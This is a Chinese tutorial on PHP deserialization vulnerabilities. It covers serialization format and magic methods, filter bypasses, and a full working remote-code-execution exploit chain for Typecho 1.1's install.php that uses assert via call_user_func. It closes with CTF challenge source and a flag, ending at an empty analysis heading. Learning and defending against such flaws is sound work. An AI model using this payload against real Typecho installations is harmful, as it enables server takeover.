函数学习
unserialize
功能 :unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
定义 :mixed unserialize ( string $str )
Demo学习
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php class Template { public $cacheFile = './cachefile'; public $template = '<div>Welcome back %s</div>';
public function __construct($data = null) { $data = $this->loadData($data); $this->render($data); }
public function loadData($data) { if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) { return unserialize($data); } return []; }
public function createCache($file = null, $tpl = null) { $file = $file ?? $this->cacheFile; $tpl = $tpl ?? $this->template; file_put_contents($file, $tpl); }
public function render($data) { echo sprintf( $this->template, htmlspecialchars($data['name']) ); }
public function __destruct() { $this->createCache(); } } new Template($_COOKIE['data']);
|
学习反序列化之前,先了解部分基础内容。
序列化和反序列化
1 2
| serialize() //将一个对象转换成一个字符串 unserialize() //将字符串还原成一个对象
|
序列化和反序列化是相对的,序列化是将对象转换成字符串,反序列化是将字符串还原成一个对象。
1 2 3 4 5 6 7 8 9 10 11
| <?php class test{ private $name = "zhangsan"; public $tel = '110'; protected $age = 18; }
$test = new test(); $date = serialize($test); echo $date; ?>
|
序列化后的结果为
1
| O:4:"test":3:{s:10:"testname";s:8:"zhangsan";s:3:"tel";s:3:"110";s:6:"*age";i:18;}
|
其中 O:4:"test":3
指 o 为 Object 类型,对象名有4个字符,为 test
,其中有3个类属性,{}
里为类属性的内容。
类中不同变量受到不同修饰符 public
, private
, protected
修饰进行序列化时,序列化后的长度和名称会发生改变。
1 2 3 4 5
| // serialize private $name = "zhangsan";
// unserialize s:10:"testname";s:8:"zhangsan";
|
使用 private 关键字,会在变量名 name
前加上类的名称 test
,并且长度会比正常字符串多 2 个字节,所以总长度为10。
\x00 + [私有成员所在类名] + \x00 [变量名]
1 2 3 4 5
| // serialize public $tel = '110';
// unserialize s:3:"tel";s:3:"110";
|
使用 public 关键字,变量 tel
的总正常为4,正常输出。
1 2 3 4 5
| // serialize protected $age = 18;
// unserialize s:6:"*age";i:18;
|
使用 protected 关键字,会在变量名 age
前加上 *
,并且长度会比正常字符串多 3 个字节,所以总长度为6。
\x00 + * + \x00 + [变量名]
魔术方法
在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。
常见方法:
1 2 3 4 5 6 7 8 9 10 11 12
| __construct()//创建对象时触发 __destruct() //对象被销毁时触发 __wakeup() //使用unserialize时触发 __sleep() //使用serialize时触发 __toString() //把类当作字符串使用时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发
|
Demo分析
在第18~22行中,需要通过 file_put_contents()
函数写文件
1 2 3 4 5
| public function createCache($file = null, $tpl = null) { $file = $file ?? $this->cacheFile; $tpl = $tpl ?? $this->template; file_put_contents($file, $tpl); }
|
其中 $cacheFile
赋值给$file
做为文件名,$template
赋值给 $tpl
为文件内容。跟进 createCache()
查看在第31~33行处调用
1 2 3
| public function __destruct() { $this->createCache(); }
|
这里使用魔术方法 __destruct()
在被销毁时调用。回到第6~7行逐步跟进
1 2 3 4
| public function __construct($data = null) { $data = $this->loadData($data); $this->render($data); }
|
该部分在第35行中实例化对象中自动执行,获取 $_COOKIE
中的 data
字段内容,然后使用 loadData()
去反序列化内容。
1 2 3 4 5 6
| public function loadData($data) { if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) { return unserialize($data); } return []; }
|
在反序列化前,对 $data
进行两处过滤。
1 2
| substr($data, 0, 2) !== 'O:' !preg_match('/O:\d:/', $data)
|
第一处是开头两个字符不能为 O: ,在php中可反序列化的类型有 String
,Integer
,Boolean
,NUll
,Array
,Object
,去掉 Object
外可以用 Array
进行绕过。第二处是正则匹配过滤,它会匹配 O:
后不能存在任何数字,绕过方法为对象长度前添加一个 +
号。
原理:php反序列unserialize的一个小特性
构造序列化文件
1 2 3 4 5 6 7 8
| <?php class Template{ public $cacheFile = './phpinfo.php'; public $template = '<?phpinfo();?>'; } $temp[] = new Template(); echo serialize($temp); ?>
|
生成后的需要在对象长度前增加 +
1
| a:1:{i:0;O:8:"Template":2:{s:9:"cacheFile";s:13:"./phpinfo.php";s:8:"template";s:18:"<?php phpinfo();?>";}}
|
对生成的Payload进行URL编码后放在Cookie中发起请求
案例分析
案例分析选取的是 Typecho-1.1 版本,在该版本中,用户可通过反序列化Cookie数据进行前台Getshell。该漏洞出现于 install.php 文件 230行
1 2 3 4 5 6 7
| <?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db); ?>
|
在第2行处,对 Cookie
中的数据进行 base64
解码后进行反序列化操作,参数值可控。但进入到这一步存在 2 处限制条件,在 install.php 文件 58~77 行处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| //判断是否已经安装 if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit; }
// 挡掉可能的跨站请求 if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; }
$parts = parse_url($_SERVER['HTTP_REFERER']); if (!empty($parts['port'])) { $parts['host'] = "{$parts['host']}:{$parts['port']}"; }
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) { exit; } }
|
系统会判断是否已经安装和拦截跨站请求
第2行处会从通过GET获取是否存在 finish
参数,如果没有就退出
第7行会判断是否有 GET 请求或者 POST 请求,第8行处判断 referer
是否为空。第17行判断 host 头字段是否与 referer
中 host 地址相同,不同则退出
回到反序列化处继续分析,跟进查看 Typecho_Cookie
类中的 get
方法,文件路径在 typecho/var/Typecho/Cookie.php
第 83 行
1 2 3 4 5 6
| public static function get($key, $default = NULL) { $key = self::$_prefix . $key; $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default); return is_array($value) ? $default : $value; }
|
$key
参数从 Cookie 或者 POST 处获取,数据可控
1 2 3
| $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix'])
|
反序列化后的结果存储在 $config
中,然后 $config['adapter']
和 $config['prefix']
做为 Typecho_Db
类初始化变量创建类实例。跟进查看对应构造函数,文件在 typecho/var/Typecho/Db.php
中 114~135 行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public function __construct($adapterName, $prefix = 'typecho_') { /** 获取适配器名称 */ $this->_adapterName = $adapterName;
/** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available"); }
$this->_prefix = $prefix;
/** 初始化内部变量 */ $this->_pool = array(); $this->_connectedPool = array(); $this->_config = array();
//实例化适配器对象 $this->_adapter = new $adapterName(); }
|
在第7行中, 对传入的 $adapterName
变量进行了字符串拼接操作,如果 $adapterName
类型为对象,则会自动调用该类的魔术方法 __toString()
。这个可以作为反序列化的触发点,全局搜索查看哪里有可进一步的利用点
一共找到3处,逐步查看
- typecho/var/Typecho/Config.php
1 2 3 4
| public function __toString() { return serialize($this->_currentConfig); }
|
使用 serialize()
函数序列化操作,程序在序列化时触发 __Sleep()
,如果存在可利用的则可进一步利用
- typecho/var/Typecho/Feed.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public function __toString() { $result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;
if (self::RSS1 == $this->_type) { ... } else if (self::RSS2 == $this->_type) { $result .= '<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:wfw="http://wellformedweb.org/CommentAPI/"> <channel>' . self::EOL;
$content = ''; $lastUpdate = 0;
foreach ($this->_items as $item) { $content .= '<item>' . self::EOL; $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL; $content .= '<link>' . $item['link'] . '</link>' . self::EOL; $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL; $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL; $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL; } } }
|
在第 25 行处,$item['author']->screenName
,如果$item['author']
中存储的类没有 screenName
属性或者该属性为私有属性,会触发该类中的 __get()
魔术方法,可作为利用点
- typecho/var/Typecho/Db/Query.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public function __toString() { switch ($this->_sqlPreBuild['action']) { case Typecho_Db::SELECT: return $this->_adapter->parseSelect($this->_sqlPreBuild); case Typecho_Db::INSERT: return 'INSERT INTO ' . $this->_sqlPreBuild['table'] . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')' . ' VALUES ' . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')' . $this->_sqlPreBuild['limit']; case Typecho_Db::DELETE: return 'DELETE FROM ' . $this->_sqlPreBuild['table'] . $this->_sqlPreBuild['where']; case Typecho_Db::UPDATE: $columns = array(); if (isset($this->_sqlPreBuild['rows'])) { foreach ($this->_sqlPreBuild['rows'] as $key => $val) { $columns[] = "$key = $val"; } }
return 'UPDATE ' . $this->_sqlPreBuild['table'] . ' SET ' . implode(' , ', $columns) . $this->_sqlPreBuild['where']; default: return NULL; } }
|
该方法用于构造sql语句,没有执行操作
目前 typecho/var/Typecho/Feed.php
中存在可利用点,全局搜索 __get()
,在文件 typecho/var/Typecho/Request.php
中找到可利用方法
1 2 3 4
| public function __get($key) { return $this->get($key); }
|
跟进 get()
函数,在同文件中第 295~307行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public function get($key, $default = NULL) { switch (true) { case isset($this->_params[$key]): $value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]): $value = self::$_httpParams[$key]; break; default: $value = $default; break; }
$value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value); }
|
该函数会检测 $key
是否在 $this->_params[$key]
数组中,如果存在则赋值给 $value
。不存在则将 value
赋值成 $defualt
,最后判断 $value
类型后将 $value
传入到 __applyFilter()
函数中。继续跟进
1 2 3 4 5 6 7 8 9 10 11 12 13
| private function _applyFilter($value) { if ($this->_filter) { foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); }
$this->_filter = array(); }
return $value; }
|
发现两个危险函数 array_map()
和 call_user_func()
。该函数会先遍历$_filter
变量,如果$vaule
是数组使用array_map()
,否则使用 call_user_func()
,这两个函数都可作为利用点,$filter
可作为调用函数,$value
为函数参数,且这两个变量都来源于类变量,是通过反序列化可控的
回溯整个利用链,调用 array_map()
和 call_user_func()
需要满足条件触发 __get()
方法,假设 $item['author']
中存储 Typecho_Request
类实例,此时调用 $item['author']->screenName
,在Typecho_Request
类中没有该属性,就会调用类中的 __get($key)
方法,$key
传入的值为 screenName
。参数传递过程如下:$key='screenName'
=>$this->_param[$key]
=>$value
将 $this->_params['screenName']
的值设置为想要执行的函数,构造 $this->_filter
为对应函数的参数值
1 2 3 4 5
| class Typecho_Request { private $_params = array('screenName' => 'phpinfo()'); private $_filter = array('assert'); }
|
接下来查看Feed.php
中 Typecho_Feed
类的构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public function __toString() { $result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;
if (self::RSS1 == $this->_type) { ... } else if (self::RSS2 == $this->_type) { $result .= '<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:wfw="http://wellformedweb.org/CommentAPI/"> <channel>' . self::EOL;
$content = ''; $lastUpdate = 0;
foreach ($this->_items as $item) { $content .= '<item>' . self::EOL; $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL; $content .= '<link>' . $item['link'] . '</link>' . self::EOL; $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL; $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL; $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL; } } }
|
如果调用第25行 __get()
魔术方法,需要满足第7行中 if (self::RSS2 == $this->_type)
,RSS2
的值程序已经提供
1 2 3 4 5 6 7 8 9
| class Typecho_Feed { private $_type = 'RSS 2.0'; private $_items;
public function __construct(){ $this->_items[] = array('author' => new Typecho_Request()); } }
|
接下来查看 install.php
1
| $db = new Typecho_Db($config['adapter'], $config['prefix']);
|
要触发 __construct()
需要两个参数,汇总payload为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
class Typecho_Request { private $_params = array('screenName' => 'phpinfo()'); private $_filter = array('assert'); }
class Typecho_Feed { private $_type = 'RSS 2.0'; private $_items;
public function __construct(){ $this->_items[] = array('author' => new Typecho_Request()); } }
$payload = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($payload));
?>
|
构造完后访问会生成一段 base64
代码,根据 install.php
中的限制进行绕过
- GET请求中添加
finish
- 添加
Referer
头信息
但访问后会报错,这是因为在 install.php
中第54行使用 ob_start()
函数,该函数会对输出内容进行缓冲
因为在反序列化漏洞利用会触发异常,导致 ob_end_clean()
执行,原本的输出在缓冲区被清理。我们必须想一个办法强制退出,使得代码不会执行到 exception
,这样原本的缓冲区数据就会被输出出来。所以可以给命令执行后加入 exit
让其退出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
class Typecho_Request { private $_params = array('screenName' => 'eval(\'phpinfo();exit;\')'); private $_filter = array('assert'); }
class Typecho_Feed { private $_type = 'RSS 2.0'; private $_items;
public function __construct(){ $this->_items[] = array('author' => new Typecho_Request()); } }
$payload = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($payload));
?>
|
漏洞复现
访问生成反序列化代码,然后访问 install.php
文件
案例学习
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| <?php include "config.php";
class HITCON{ public $method; public $args; public $conn;
function __construct($method, $args) { $this->method = $method; $this->args = $args; $this->__conn(); }
function __conn() { global $db_host, $db_name, $db_user, $db_pass, $DEBUG; if (!$this->conn) $this->conn = mysql_connect($db_host, $db_user, $db_pass); mysql_select_db($db_name, $this->conn); if ($DEBUG) { $sql = "DROP TABLE IF EXISTS users"; $this->__query($sql, $back=false); $sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64), password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";
$this->__query($sql, $back=false); $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')"; $this->__query($sql, $back=false); } mysql_query("SET names utf8"); mysql_query("SET sql_mode = 'strict_all_tables'"); }
function __query($sql, $back=true) { $result = @mysql_query($sql); if ($back) { return @mysql_fetch_object($result); } } function login() { list($username, $password) = func_get_args(); $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password)); $obj = $this->__query($sql);
if ( $obj != false ) { define('IN_FLAG', TRUE); $this->loadData($obj->role); } else { $this->__die("sorry!"); } }
function loadData($data) { if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) { return unserialize($data); } return []; } function __die($msg) { $this->__close(); header("Content-Type: application/json"); die( json_encode( array("msg"=> $msg) ) ); }
function __close() { mysql_close($this->conn); }
function source() { highlight_file(__FILE__); }
function __destruct() { $this->__conn(); if (in_array($this->method, array("login", "source"))) { @call_user_func_array(array($this, $this->method), $this->args); } else { $this->__die("What do you do?"); } $this->__close(); }
function __wakeup() { foreach($this->args as $k => $v) { $this->args[$k] = strtolower(trim(mysql_escape_string($v))); } } } class SoFun{ public $file='index.php';
function __destruct(){ if(!empty($this->file)) { include $this->file; } } function __wakeup(){ $this-> file='index.php'; } } if(isset($_GET["data"])) { @unserialize($_GET["data"]); } else { new HITCON("source", array()); }
?>
|
1 2 3 4 5 6 7 8
| <?php $db_host = 'localhost'; $db_name = 'test'; $db_user = 'root'; $db_pass = '123'; $DEBUG = 'xx'; ?>
|
1 2 3 4 5 6
| <?php !defined('IN_FLAG') && exit('Access Denied'); echo "flag{un3eri@liz3_i3_s0_fun}";
?>
|
分析